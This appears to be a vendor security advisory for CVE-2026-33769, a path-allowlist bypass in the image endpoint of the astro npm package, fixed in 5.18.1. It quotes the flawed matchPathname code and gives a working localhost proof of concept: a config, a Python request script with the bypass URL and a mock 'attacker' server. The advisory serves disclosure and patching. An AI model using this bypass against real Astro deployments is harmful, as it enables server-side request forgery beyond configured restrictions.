CVE-2026-33769

CVE-2026-33769 is a low-severity improper input validation vulnerability in astro (npm), affecting versions >= 2.10.10, < 5.18.1. It is fixed in 5.18.1.

Summary

This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.

Description

Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()

User-controlled href is parsed into transform.src and validated via isRemoteAllowed():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56

const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);

const isRemoteImage = isRemotePath(transform.src);

if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
  return new Response('Forbidden', { status: 403 });
}

isRemoteAllowed() checks each remotePattern via matchPattern():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21

export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
  return (
    matchProtocol(url, remotePattern.protocol) &&
    matchHostname(url, remotePattern.hostname, true) &&
    matchPort(url, remotePattern.port) &&
    matchPathname(url, remotePattern.pathname, true)
  );
}

The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99

} else if (pathname.endsWith('/*')) {
  const slicedPathname = pathname.slice(0, -1); // * length
  const additionalPathChunks = url.pathname
    .replace(slicedPathname, '')
    .split('/')
    .filter(Boolean);
  return additionalPathChunks.length === 1;
}

Vulnerable code flow:

  1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
  2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
  3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
  4. The image endpoint fetches and returns the remote resource.

PoC

The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.

Vulnerable config

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
      { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
    ],
  },
});

Affected pages

This PoC targets the /_image endpoint directly; no additional pages are required.

PoC Code

import http.client
import json
import urllib.parse

HOST = "127.0.0.1"
PORT = 4321

def fetch(path: str) -> dict:
    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
    conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
    resp = conn.getresponse()
    body = resp.read(2000).decode("utf-8", errors="replace")
    conn.close()
    return {
        "path": path,
        "status": resp.status,
        "reason": resp.reason,
        "headers": dict(resp.getheaders()),
        "body_snippet": body[:400],
    }

allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")

# Both pass, second should fail

results = {
    "allowed": fetch(f"/_image?href={allowed}&f=svg"),
    "bypass": fetch(f"/_image?href={bypass}&f=svg"),
}

print(json.dumps(results, indent=2))

Attacker server

from http.server import BaseHTTPRequestHandler, HTTPServer

HOST = "127.0.0.1"
PORT = 9999

PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
  <text>OK</text>
</svg>
"""

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f">>> {self.command} {self.path}")
        if self.path.endswith(".svg") or "/img/" in self.path:
            self.send_response(200)
            self.send_header("Content-Type", "image/svg+xml")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(PAYLOAD.encode("utf-8"))
            return

        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok")

    def log_message(self, format, *args):
        return

if __name__ == "__main__":
    server = HTTPServer((HOST, PORT), Handler)
    print(f"HTTP logger listening on http://{HOST}:{PORT}")
    server.serve_forever()

PoC Steps

  1. Bootstrap default Astro project.
  2. Add the vulnerable config and attacker server.
  3. Build the project.
  4. Start the attacker server.
  5. Start the Astro server.
  6. Run the PoC.
  7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.

Impact

Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

CVE-2026-33769 has a CVSS score of 5.3 (Low). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.18.1); upgrading removes the vulnerable code path.

Affected versions

astro (>= 2.10.10, < 5.18.1)

Security releases

astro → 5.18.1 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade astro to 5.18.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-33769? CVE-2026-33769 is a low-severity improper input validation vulnerability in astro (npm), affecting versions >= 2.10.10, < 5.18.1. It is fixed in 5.18.1. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
  2. How severe is CVE-2026-33769? CVE-2026-33769 has a CVSS score of 5.3 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of astro are affected by CVE-2026-33769? astro (npm) versions >= 2.10.10, < 5.18.1 is affected.
  4. Is there a fix for CVE-2026-33769? Yes. CVE-2026-33769 is fixed in 5.18.1. Upgrade to this version or later.
  5. Is CVE-2026-33769 exploitable, and should I be worried? Whether CVE-2026-33769 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-33769 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-33769? Upgrade astro to 5.18.1 or later.

Other vulnerabilities in astro

CVE-2026-54298CVE-2026-54299CVE-2026-50146CVE-2026-45028CVE-2026-41067

Stop the waste.
Protect your environment with Kodem.